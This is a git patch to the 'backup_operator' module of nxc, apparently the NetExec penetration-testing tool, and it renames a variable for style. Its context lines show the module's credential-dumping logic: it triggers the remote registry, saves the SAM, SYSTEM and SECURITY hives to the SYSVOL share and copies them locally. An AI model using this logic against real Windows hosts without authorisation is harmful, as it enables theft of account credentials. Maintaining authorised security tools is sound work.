From 333a7f31de33f391efa55e613113ad0b0f9fd233 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Thu, 9 Jan 2025 22:17:15 +0100 Subject: [PATCH] fix review --- nxc/modules/backup_operator.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py index 6cb5b1752..3398c602c 100644 --- a/nxc/modules/backup_operator.py +++ b/nxc/modules/backup_operator.py @@ -29,13 +29,13 @@ def options(self, context, module_options): def on_login(self, context, connection): connection.args.share = "SYSVOL" # enable remote registry - remoteOps = RemoteOperations(connection.conn) + remote_ops = RemoteOperations(connection.conn) context.log.display("Triggering start through named pipe...") self.trigger_winreg(connection.conn, context) - remoteOps.connect_winreg() + remote_ops.connect_winreg() try: - dce = remoteOps.get_rrp() + dce = remote_ops.get_rrp() for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]: hRootKey, subKey = self._strip_root_key(dce, hive) outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}" @@ -50,8 +50,8 @@ def on_login(self, context, connection): except (Exception, KeyboardInterrupt) as e: context.log.fail(str(e)) finally: - if remoteOps: - remoteOps.finish() + if remote_ops: + remote_ops.finish() # copy remote file to local log_path = os.path.expanduser(f"{NXC_PATH}/logs/{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.".replace(":", "-"))